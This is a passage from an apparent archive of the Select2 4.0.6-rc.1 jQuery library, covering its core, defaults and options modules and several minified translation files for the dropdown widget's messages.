      (data.element == null && data.selected)
    ) {
      return;
    }

    this.trigger('select', {
        data: data
    });
  };

  return SelectOnClose;
});

S2.define('select2/dropdown/closeOnSelect',[

], function () {
  function CloseOnSelect () { }

  CloseOnSelect.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('select', function (evt) {
      self._selectTriggered(evt);
    });

    container.on('unselect', function (evt) {
      self._selectTriggered(evt);
    });
  };

  CloseOnSelect.prototype._selectTriggered = function (_, evt) {
    var originalEvent = evt.originalEvent;

    // Don't close if the control key is being held
    if (originalEvent && originalEvent.ctrlKey) {
      return;
    }

    this.trigger('close', {
      originalEvent: originalEvent,
      originalSelect2Event: evt
    });
  };

  return CloseOnSelect;
});

S2.define('select2/i18n/en',[],function () {
  // English
  return {
    errorLoading: function () {
      return 'The results could not be loaded.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Please delete ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Please enter ' + remainingChars + ' or more characters';

      return message;
    },
    loadingMore: function () {
      return 'Loading more results…';
    },
    maximumSelected: function (args) {
      var message = 'You can only select ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No results found';
    },
    searching: function () {
      return 'Searching…';
    }
  };
});

S2.define('select2/defaults',[
  'jquery',
  'require',

  './results',

  './selection/single',
  './selection/multiple',
  './selection/placeholder',
  './selection/allowClear',
  './selection/search',
  './selection/eventRelay',

  './utils',
  './translation',
  './diacritics',

  './data/select',
  './data/array',
  './data/ajax',
  './data/tags',
  './data/tokenizer',
  './data/minimumInputLength',
  './data/maximumInputLength',
  './data/maximumSelectionLength',

  './dropdown',
  './dropdown/search',
  './dropdown/hidePlaceholder',
  './dropdown/infiniteScroll',
  './dropdown/attachBody',
  './dropdown/minimumResultsForSearch',
  './dropdown/selectOnClose',
  './dropdown/closeOnSelect',

  './i18n/en'
], function ($, require,

             ResultsList,

             SingleSelection, MultipleSelection, Placeholder, AllowClear,
             SelectionSearch, EventRelay,

             Utils, Translation, DIACRITICS,

             SelectData, ArrayData, AjaxData, Tags, Tokenizer,
             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,

             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,

             EnglishTranslation) {
  function Defaults () {
    this.reset();
  }

  Defaults.prototype.apply = function (options) {
    options = $.extend(true, {}, this.defaults, options);

    if (options.dataAdapter == null) {
      if (options.ajax != null) {
        options.dataAdapter = AjaxData;
      } else if (options.data != null) {
        options.dataAdapter = ArrayData;
      } else {
        options.dataAdapter = SelectData;
      }

      if (options.minimumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MinimumInputLength
        );
      }

      if (options.maximumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumInputLength
        );
      }

      if (options.maximumSelectionLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumSelectionLength
        );
      }

      if (options.tags) {
        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
      }

      if (options.tokenSeparators != null || options.tokenizer != null) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Tokenizer
        );
      }

      if (options.query != null) {
        var Query = require(options.amdBase + 'compat/query');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Query
        );
      }

      if (options.initSelection != null) {
        var InitSelection = require(options.amdBase + 'compat/initSelection');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          InitSelection
        );
      }
    }

    if (options.resultsAdapter == null) {
      options.resultsAdapter = ResultsList;

      if (options.ajax != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          InfiniteScroll
        );
      }

      if (options.placeholder != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          HidePlaceholder
        );
      }

      if (options.selectOnClose) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          SelectOnClose
        );
      }
    }

    if (options.dropdownAdapter == null) {
      if (options.multiple) {
        options.dropdownAdapter = Dropdown;
      } else {
        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);

        options.dropdownAdapter = SearchableDropdown;
      }

      if (options.minimumResultsForSearch !== 0) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          MinimumResultsForSearch
        );
      }

      if (options.closeOnSelect) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          CloseOnSelect
        );
      }

      if (
        options.dropdownCssClass != null ||
        options.dropdownCss != null ||
        options.adaptDropdownCssClass != null
      ) {
        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');

        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          DropdownCSS
        );
      }

      options.dropdownAdapter = Utils.Decorate(
        options.dropdownAdapter,
        AttachBody
      );
    }

    if (options.selectionAdapter == null) {
      if (options.multiple) {
        options.selectionAdapter = MultipleSelection;
      } else {
        options.selectionAdapter = SingleSelection;
      }

      // Add the placeholder mixin if a placeholder was specified
      if (options.placeholder != null) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          Placeholder
        );
      }

      if (options.allowClear) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          AllowClear
        );
      }

      if (options.multiple) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          SelectionSearch
        );
      }

      if (
        options.containerCssClass != null ||
        options.containerCss != null ||
        options.adaptContainerCssClass != null
      ) {
        var ContainerCSS = require(options.amdBase + 'compat/containerCss');

        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          ContainerCSS
        );
      }

      options.selectionAdapter = Utils.Decorate(
        options.selectionAdapter,
        EventRelay
      );
    }

    if (typeof options.language === 'string') {
      // Check if the language is specified with a region
      if (options.language.indexOf('-') > 0) {
        // Extract the region information if it is included
        var languageParts = options.language.split('-');
        var baseLanguage = languageParts[0];

        options.language = [options.language, baseLanguage];
      } else {
        options.language = [options.language];
      }
    }

    if ($.isArray(options.language)) {
      var languages = new Translation();
      options.language.push('en');

      var languageNames = options.language;

      for (var l = 0; l < languageNames.length; l++) {
        var name = languageNames[l];
        var language = {};

        try {
          // Try to load it with the original name
          language = Translation.loadPath(name);
        } catch (e) {
          try {
            // If we couldn't load it, check if it wasn't the full path
            name = this.defaults.amdLanguageBase + name;
            language = Translation.loadPath(name);
          } catch (ex) {
            // The translation could not be loaded at all. Sometimes this is
            // because of a configuration problem, other times this can be
            // because of how Select2 helps load all possible translation files.
            if (options.debug && window.console && console.warn) {
              console.warn(
                'Select2: The language file for "' + name + '" could not be ' +
                'automatically loaded. A fallback will be used instead.'
              );
            }

            continue;
          }
        }

        languages.extend(language);
      }

      options.translations = languages;
    } else {
      var baseTranslation = Translation.loadPath(
        this.defaults.amdLanguageBase + 'en'
      );
      var customTranslation = new Translation(options.language);

      customTranslation.extend(baseTranslation);

      options.translations = customTranslation;
    }

    return options;
  };

  Defaults.prototype.reset = function () {
    function stripDiacritics (text) {
      // Used 'uni range + named function' from http://jsperf.com/diacritics/18
      function match(a) {
        return DIACRITICS[a] || a;
      }

      return text.replace(/[^\u0000-\u007E]/g, match);
    }

    function matcher (params, data) {
      // Always return the object if there is nothing to compare
      if ($.trim(params.term) === '') {
        return data;
      }

      // Do a recursive check for options with children
      if (data.children && data.children.length > 0) {
        // Clone the data object if there are children
        // This is required as we modify the object to remove any non-matches
        var match = $.extend(true, {}, data);

        // Check each child of the option
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          var matches = matcher(params, child);

          // If there wasn't a match, remove the object in the array
          if (matches == null) {
            match.children.splice(c, 1);
          }
        }

        // If any children matched, return the new object
        if (match.children.length > 0) {
          return match;
        }

        // If there were no matching children, check just the plain object
        return matcher(params, match);
      }

      var original = stripDiacritics(data.text).toUpperCase();
      var term = stripDiacritics(params.term).toUpperCase();

      // Check if the text contains the term
      if (original.indexOf(term) > -1) {
        return data;
      }

      // If it doesn't contain the term, don't return anything
      return null;
    }

    this.defaults = {
      amdBase: './',
      amdLanguageBase: './i18n/',
      closeOnSelect: true,
      debug: false,
      dropdownAutoWidth: false,
      escapeMarkup: Utils.escapeMarkup,
      language: EnglishTranslation,
      matcher: matcher,
      minimumInputLength: 0,
      maximumInputLength: 0,
      maximumSelectionLength: 0,
      minimumResultsForSearch: 0,
      selectOnClose: false,
      sorter: function (data) {
        return data;
      },
      templateResult: function (result) {
        return result.text;
      },
      templateSelection: function (selection) {
        return selection.text;
      },
      theme: 'default',
      width: 'resolve'
    };
  };

  Defaults.prototype.set = function (key, value) {
    var camelKey = $.camelCase(key);

    var data = {};
    data[camelKey] = value;

    var convertedData = Utils._convertData(data);

    $.extend(true, this.defaults, convertedData);
  };

  var defaults = new Defaults();

  return defaults;
});

S2.define('select2/options',[
  'require',
  'jquery',
  './defaults',
  './utils'
], function (require, $, Defaults, Utils) {
  function Options (options, $element) {
    this.options = options;

    if ($element != null) {
      this.fromElement($element);
    }

    this.options = Defaults.apply(this.options);

    if ($element && $element.is('input')) {
      var InputCompat = require(this.get('amdBase') + 'compat/inputData');

      this.options.dataAdapter = Utils.Decorate(
        this.options.dataAdapter,
        InputCompat
      );
    }
  }

  Options.prototype.fromElement = function ($e) {
    var excludedData = ['select2'];

    if (this.options.multiple == null) {
      this.options.multiple = $e.prop('multiple');
    }

    if (this.options.disabled == null) {
      this.options.disabled = $e.prop('disabled');
    }

    if (this.options.language == null) {
      if ($e.prop('lang')) {
        this.options.language = $e.prop('lang').toLowerCase();
      } else if ($e.closest('[lang]').prop('lang')) {
        this.options.language = $e.closest('[lang]').prop('lang');
      }
    }

    if (this.options.dir == null) {
      if ($e.prop('dir')) {
        this.options.dir = $e.prop('dir');
      } else if ($e.closest('[dir]').prop('dir')) {
        this.options.dir = $e.closest('[dir]').prop('dir');
      } else {
        this.options.dir = 'ltr';
      }
    }

    $e.prop('disabled', this.options.disabled);
    $e.prop('multiple', this.options.multiple);

    if (Utils.GetData($e[0], 'select2Tags')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-select2-tags` attribute has been changed to ' +
          'use the `data-data` and `data-tags="true"` attributes and will be ' +
          'removed in future versions of Select2.'
        );
      }

      Utils.StoreData($e[0], 'data', Utils.GetData($e[0], 'select2Tags'));
      Utils.StoreData($e[0], 'tags', true);
    }

    if (Utils.GetData($e[0], 'ajaxUrl')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-ajax-url` attribute has been changed to ' +
          '`data-ajax--url` and support for the old attribute will be removed' +
          ' in future versions of Select2.'
        );
      }

      $e.attr('ajax--url', Utils.GetData($e[0], 'ajaxUrl'));
      Utils.StoreData($e[0], 'ajax-Url', Utils.GetData($e[0], 'ajaxUrl'));
	  
    }

    var dataset = {};

    // Prefer the element's `dataset` attribute if it exists
    // jQuery 1.x does not correctly handle data attributes with multiple dashes
    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
      dataset = $.extend(true, {}, $e[0].dataset, Utils.GetData($e[0]));
    } else {
      dataset = Utils.GetData($e[0]);
    }

    var data = $.extend(true, {}, dataset);

    data = Utils._convertData(data);

    for (var key in data) {
      if ($.inArray(key, excludedData) > -1) {
        continue;
      }

      if ($.isPlainObject(this.options[key])) {
        $.extend(this.options[key], data[key]);
      } else {
        this.options[key] = data[key];
      }
    }

    return this;
  };

  Options.prototype.get = function (key) {
    return this.options[key];
  };

  Options.prototype.set = function (key, val) {
    this.options[key] = val;
  };

  return Options;
});

S2.define('select2/core',[
  'jquery',
  './options',
  './utils',
  './keys'
], function ($, Options, Utils, KEYS) {
  var Select2 = function ($element, options) {
    if (Utils.GetData($element[0], 'select2') != null) {
      Utils.GetData($element[0], 'select2').destroy();
    }

    this.$element = $element;

    this.id = this._generateId($element);

    options = options || {};

    this.options = new Options(options, $element);

    Select2.__super__.constructor.call(this);

    // Set up the tabindex

    var tabindex = $element.attr('tabindex') || 0;
    Utils.StoreData($element[0], 'old-tabindex', tabindex);
    $element.attr('tabindex', '-1');

    // Set up containers and adapters

    var DataAdapter = this.options.get('dataAdapter');
    this.dataAdapter = new DataAdapter($element, this.options);

    var $container = this.render();

    this._placeContainer($container);

    var SelectionAdapter = this.options.get('selectionAdapter');
    this.selection = new SelectionAdapter($element, this.options);
    this.$selection = this.selection.render();

    this.selection.position(this.$selection, $container);

    var DropdownAdapter = this.options.get('dropdownAdapter');
    this.dropdown = new DropdownAdapter($element, this.options);
    this.$dropdown = this.dropdown.render();

    this.dropdown.position(this.$dropdown, $container);

    var ResultsAdapter = this.options.get('resultsAdapter');
    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
    this.$results = this.results.render();

    this.results.position(this.$results, this.$dropdown);

    // Bind events

    var self = this;

    // Bind the container to all of the adapters
    this._bindAdapters();

    // Register any DOM event handlers
    this._registerDomEvents();

    // Register any internal event handlers
    this._registerDataEvents();
    this._registerSelectionEvents();
    this._registerDropdownEvents();
    this._registerResultsEvents();
    this._registerEvents();

    // Set the initial state
    this.dataAdapter.current(function (initialData) {
      self.trigger('selection:update', {
        data: initialData
      });
    });

    // Hide the original select
    $element.addClass('select2-hidden-accessible');
    $element.attr('aria-hidden', 'true');

    // Synchronize any monitored attributes
    this._syncAttributes();

    Utils.StoreData($element[0], 'select2', this);

    // Ensure backwards compatibility with $element.data('select2').
    $element.data('select2', this);
  };

  Utils.Extend(Select2, Utils.Observable);

  Select2.prototype._generateId = function ($element) {
    var id = '';

    if ($element.attr('id') != null) {
      id = $element.attr('id');
    } else if ($element.attr('name') != null) {
      id = $element.attr('name') + '-' + Utils.generateChars(2);
    } else {
      id = Utils.generateChars(4);
    }

    id = id.replace(/(:|\.|\[|\]|,)/g, '');
    id = 'select2-' + id;

    return id;
  };

  Select2.prototype._placeContainer = function ($container) {
    $container.insertAfter(this.$element);

    var width = this._resolveWidth(this.$element, this.options.get('width'));

    if (width != null) {
      $container.css('width', width);
    }
  };

  Select2.prototype._resolveWidth = function ($element, method) {
    var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;

    if (method == 'resolve') {
      var styleWidth = this._resolveWidth($element, 'style');

      if (styleWidth != null) {
        return styleWidth;
      }

      return this._resolveWidth($element, 'element');
    }

    if (method == 'element') {
      var elementWidth = $element.outerWidth(false);

      if (elementWidth <= 0) {
        return 'auto';
      }

      return elementWidth + 'px';
    }

    if (method == 'style') {
      var style = $element.attr('style');

      if (typeof(style) !== 'string') {
        return null;
      }

      var attrs = style.split(';');

      for (var i = 0, l = attrs.length; i < l; i = i + 1) {
        var attr = attrs[i].replace(/\s/g, '');
        var matches = attr.match(WIDTH);

        if (matches !== null && matches.length >= 1) {
          return matches[1];
        }
      }

      return null;
    }

    return method;
  };

  Select2.prototype._bindAdapters = function () {
    this.dataAdapter.bind(this, this.$container);
    this.selection.bind(this, this.$container);

    this.dropdown.bind(this, this.$container);
    this.results.bind(this, this.$container);
  };

  Select2.prototype._registerDomEvents = function () {
    var self = this;

    this.$element.on('change.select2', function () {
      self.dataAdapter.current(function (data) {
        self.trigger('selection:update', {
          data: data
        });
      });
    });

    this.$element.on('focus.select2', function (evt) {
      self.trigger('focus', evt);
    });

    this._syncA = Utils.bind(this._syncAttributes, this);
    this._syncS = Utils.bind(this._syncSubtree, this);

    if (this.$element[0].attachEvent) {
      this.$element[0].attachEvent('onpropertychange', this._syncA);
    }

    var observer = window.MutationObserver ||
      window.WebKitMutationObserver ||
      window.MozMutationObserver
    ;

    if (observer != null) {
      this._observer = new observer(function (mutations) {
        $.each(mutations, self._syncA);
        $.each(mutations, self._syncS);
      });
      this._observer.observe(this.$element[0], {
        attributes: true,
        childList: true,
        subtree: false
      });
    } else if (this.$element[0].addEventListener) {
      this.$element[0].addEventListener(
        'DOMAttrModified',
        self._syncA,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeInserted',
        self._syncS,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeRemoved',
        self._syncS,
        false
      );
    }
  };

  Select2.prototype._registerDataEvents = function () {
    var self = this;

    this.dataAdapter.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerSelectionEvents = function () {
    var self = this;
    var nonRelayEvents = ['toggle', 'focus'];

    this.selection.on('toggle', function () {
      self.toggleDropdown();
    });

    this.selection.on('focus', function (params) {
      self.focus(params);
    });

    this.selection.on('*', function (name, params) {
      if ($.inArray(name, nonRelayEvents) !== -1) {
        return;
      }

      self.trigger(name, params);
    });
  };

  Select2.prototype._registerDropdownEvents = function () {
    var self = this;

    this.dropdown.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerResultsEvents = function () {
    var self = this;

    this.results.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerEvents = function () {
    var self = this;

    this.on('open', function () {
      self.$container.addClass('select2-container--open');
    });

    this.on('close', function () {
      self.$container.removeClass('select2-container--open');
    });

    this.on('enable', function () {
      self.$container.removeClass('select2-container--disabled');
    });

    this.on('disable', function () {
      self.$container.addClass('select2-container--disabled');
    });

    this.on('blur', function () {
      self.$container.removeClass('select2-container--focus');
    });

    this.on('query', function (params) {
      if (!self.isOpen()) {
        self.trigger('open', {});
      }

      this.dataAdapter.query(params, function (data) {
        self.trigger('results:all', {
          data: data,
          query: params
        });
      });
    });

    this.on('query:append', function (params) {
      this.dataAdapter.query(params, function (data) {
        self.trigger('results:append', {
          data: data,
          query: params
        });
      });
    });

    this.on('keypress', function (evt) {
      var key = evt.which;

      if (self.isOpen()) {
        if (key === KEYS.ESC || key === KEYS.TAB ||
            (key === KEYS.UP && evt.altKey)) {
          self.close();

          evt.preventDefault();
        } else if (key === KEYS.ENTER) {
          self.trigger('results:select', {});

          evt.preventDefault();
        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {
          self.trigger('results:toggle', {});

          evt.preventDefault();
        } else if (key === KEYS.UP) {
          self.trigger('results:previous', {});

          evt.preventDefault();
        } else if (key === KEYS.DOWN) {
          self.trigger('results:next', {});

          evt.preventDefault();
        }
      } else {
        if (key === KEYS.ENTER || key === KEYS.SPACE ||
            (key === KEYS.DOWN && evt.altKey)) {
          self.open();

          evt.preventDefault();
        }
      }
    });
  };

  Select2.prototype._syncAttributes = function () {
    this.options.set('disabled', this.$element.prop('disabled'));

    if (this.options.get('disabled')) {
      if (this.isOpen()) {
        this.close();
      }

      this.trigger('disable', {});
    } else {
      this.trigger('enable', {});
    }
  };

  Select2.prototype._syncSubtree = function (evt, mutations) {
    var changed = false;
    var self = this;

    // Ignore any mutation events raised for elements that aren't options or
    // optgroups. This handles the case when the select element is destroyed
    if (
      evt && evt.target && (
        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
      )
    ) {
      return;
    }

    if (!mutations) {
      // If mutation events aren't supported, then we can only assume that the
      // change affected the selections
      changed = true;
    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
      for (var n = 0; n < mutations.addedNodes.length; n++) {
        var node = mutations.addedNodes[n];

        if (node.selected) {
          changed = true;
        }
      }
    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
      changed = true;
    }

    // Only re-pull the data if we think there is a change
    if (changed) {
      this.dataAdapter.current(function (currentData) {
        self.trigger('selection:update', {
          data: currentData
        });
      });
    }
  };

  /**
   * Override the trigger method to automatically trigger pre-events when
   * there are events that can be prevented.
   */
  Select2.prototype.trigger = function (name, args) {
    var actualTrigger = Select2.__super__.trigger;
    var preTriggerMap = {
      'open': 'opening',
      'close': 'closing',
      'select': 'selecting',
      'unselect': 'unselecting',
      'clear': 'clearing'
    };

    if (args === undefined) {
      args = {};
    }

    if (name in preTriggerMap) {
      var preTriggerName = preTriggerMap[name];
      var preTriggerArgs = {
        prevented: false,
        name: name,
        args: args
      };

      actualTrigger.call(this, preTriggerName, preTriggerArgs);

      if (preTriggerArgs.prevented) {
        args.prevented = true;

        return;
      }
    }

    actualTrigger.call(this, name, args);
  };

  Select2.prototype.toggleDropdown = function () {
    if (this.options.get('disabled')) {
      return;
    }

    if (this.isOpen()) {
      this.close();
    } else {
      this.open();
    }
  };

  Select2.prototype.open = function () {
    if (this.isOpen()) {
      return;
    }

    this.trigger('query', {});
  };

  Select2.prototype.close = function () {
    if (!this.isOpen()) {
      return;
    }

    this.trigger('close', {});
  };

  Select2.prototype.isOpen = function () {
    return this.$container.hasClass('select2-container--open');
  };

  Select2.prototype.hasFocus = function () {
    return this.$container.hasClass('select2-container--focus');
  };

  Select2.prototype.focus = function (data) {
    // No need to re-trigger focus events if we are already focused
    if (this.hasFocus()) {
      return;
    }

    this.$container.addClass('select2-container--focus');
    this.trigger('focus', {});
  };

  Select2.prototype.enable = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("enable")` method has been deprecated and will' +
        ' be removed in later Select2 versions. Use $element.prop("disabled")' +
        ' instead.'
      );
    }

    if (args == null || args.length === 0) {
      args = [true];
    }

    var disabled = !args[0];

    this.$element.prop('disabled', disabled);
  };

  Select2.prototype.data = function () {
    if (this.options.get('debug') &&
        arguments.length > 0 && window.console && console.warn) {
      console.warn(
        'Select2: Data can no longer be set using `select2("data")`. You ' +
        'should consider setting the value instead using `$element.val()`.'
      );
    }

    var data = [];

    this.dataAdapter.current(function (currentData) {
      data = currentData;
    });

    return data;
  };

  Select2.prototype.val = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("val")` method has been deprecated and will be' +
        ' removed in later Select2 versions. Use $element.val() instead.'
      );
    }

    if (args == null || args.length === 0) {
      return this.$element.val();
    }

    var newVal = args[0];

    if ($.isArray(newVal)) {
      newVal = $.map(newVal, function (obj) {
        return obj.toString();
      });
    }

    this.$element.val(newVal).trigger('change');
  };

  Select2.prototype.destroy = function () {
    this.$container.remove();

    if (this.$element[0].detachEvent) {
      this.$element[0].detachEvent('onpropertychange', this._syncA);
    }

    if (this._observer != null) {
      this._observer.disconnect();
      this._observer = null;
    } else if (this.$element[0].removeEventListener) {
      this.$element[0]
        .removeEventListener('DOMAttrModified', this._syncA, false);
      this.$element[0]
        .removeEventListener('DOMNodeInserted', this._syncS, false);
      this.$element[0]
        .removeEventListener('DOMNodeRemoved', this._syncS, false);
    }

    this._syncA = null;
    this._syncS = null;

    this.$element.off('.select2');
    this.$element.attr('tabindex',
    Utils.GetData(this.$element[0], 'old-tabindex'));

    this.$element.removeClass('select2-hidden-accessible');
    this.$element.attr('aria-hidden', 'false');
    Utils.RemoveData(this.$element[0]);
    this.$element.removeData('select2');

    this.dataAdapter.destroy();
    this.selection.destroy();
    this.dropdown.destroy();
    this.results.destroy();

    this.dataAdapter = null;
    this.selection = null;
    this.dropdown = null;
    this.results = null;
  };

  Select2.prototype.render = function () {
    var $container = $(
      '<span class="select2 select2-container">' +
        '<span class="selection"></span>' +
        '<span class="dropdown-wrapper" aria-hidden="true"></span>' +
      '</span>'
    );

    $container.attr('dir', this.options.get('dir'));

    this.$container = $container;

    this.$container.addClass('select2-container--' + this.options.get('theme'));

    Utils.StoreData($container[0], 'element', this.$element);

    return $container;
  };

  return Select2;
});

S2.define('jquery-mousewheel',[
  'jquery'
], function ($) {
  // Used to shim jQuery.mousewheel for non-full builds.
  return $;
});

S2.define('jquery.select2',[
  'jquery',
  'jquery-mousewheel',

  './select2/core',
  './select2/defaults',
  './select2/utils'
], function ($, _, Select2, Defaults, Utils) {
  if ($.fn.select2 == null) {
    // All methods that should return the element
    var thisMethods = ['open', 'close', 'destroy'];

    $.fn.select2 = function (options) {
      options = options || {};

      if (typeof options === 'object') {
        this.each(function () {
          var instanceOptions = $.extend(true, {}, options);

          var instance = new Select2($(this), instanceOptions);
        });

        return this;
      } else if (typeof options === 'string') {
        var ret;
        var args = Array.prototype.slice.call(arguments, 1);

        this.each(function () {
          var instance = Utils.GetData(this, 'select2');

          if (instance == null && window.console && console.error) {
            console.error(
              'The select2(\'' + options + '\') method was called on an ' +
              'element that is not using Select2.'
            );
          }

          ret = instance[options].apply(instance, args);
        });

        // Check if we should be returning `this`
        if ($.inArray(options, thisMethods) > -1) {
          return this;
        }

        return ret;
      } else {
        throw new Error('Invalid arguments for Select2: ' + options);
      }
    };
  }

  if ($.fn.select2.defaults == null) {
    $.fn.select2.defaults = Defaults;
  }

  return Select2;
});

  // Return the AMD loader configuration so it can be used outside of this file
  return {
    define: S2.define,
    require: S2.require
  };
}());

  // Autoload the jQuery bindings
  // We know that all of the modules exist above this, so we're safe
  var select2 = S2.require('jquery.select2');

  // Hold the AMD module references on the jQuery function that was just loaded
  // This allows Select2 to use the internal loader outside of this file, such
  // as in the language files.
  jQuery.fn.select2.amd = S2;

  // Return the Select2 instance for anyone who is importing it.
  return select2;
}));
js/i18n/ms.js000064400000001436151677410160006730 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Sila hapuskan "+t+" aksara"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Sila masukkan "+t+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(e){return"Anda hanya boleh memilih "+e.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"}}}),{define:e.define,require:e.require}})();js/i18n/tk.js000064400000001416151677410160006725 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/tk",[],function(){return{errorLoading:function(){return"Netije ýüklenmedi."},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" harp bozuň.";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Ýene-de iň az "+t+" harp ýazyň.";return n},loadingMore:function(){return"Köpräk netije görkezilýär…"},maximumSelected:function(e){var t="Diňe "+e.maximum+" sanysyny saýlaň.";return t},noResults:function(){return"Netije tapylmady."},searching:function(){return"Gözlenýär…"}}}),{define:e.define,require:e.require}})();js/i18n/sr.js000064400000001661151677410160006735 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();js/i18n/lv.js000064400000001557151677410160006736 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/lv",[],function(){function e(e,t,n,r){return e===11?t:e%10===1?n:r}return{inputTooLong:function(t){var n=t.input.length-t.maximum,r="Lūdzu ievadiet par  "+n;return r+=" simbol"+e(n,"iem","u","iem"),r+" mazāk"},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Lūdzu ievadiet vēl "+n;return r+=" simbol"+e(n,"us","u","us"),r},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(t){var n="Jūs varat izvēlēties ne vairāk kā "+t.maximum;return n+=" element"+e(t.maximum,"us","u","us"),n},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"}}}),{define:e.define,require:e.require}})();js/i18n/nb.js000064400000001375151677410160006712 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nb",[],function(){return{errorLoading:function(){return"Kunne ikke hente resultater."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Vennligst fjern "+t+" tegn"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Vennligst skriv inn "+t+" tegn til"},loadingMore:function(){return"Laster flere resultater…"},maximumSelected:function(e){return"Du kan velge maks "+e.maximum+" elementer"},noResults:function(){return"Ingen treff"},searching:function(){return"Søker…"}}}),{define:e.define,require:e.require}})();js/i18n/sr-Cyrl.js000064400000002062151677410160007640 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

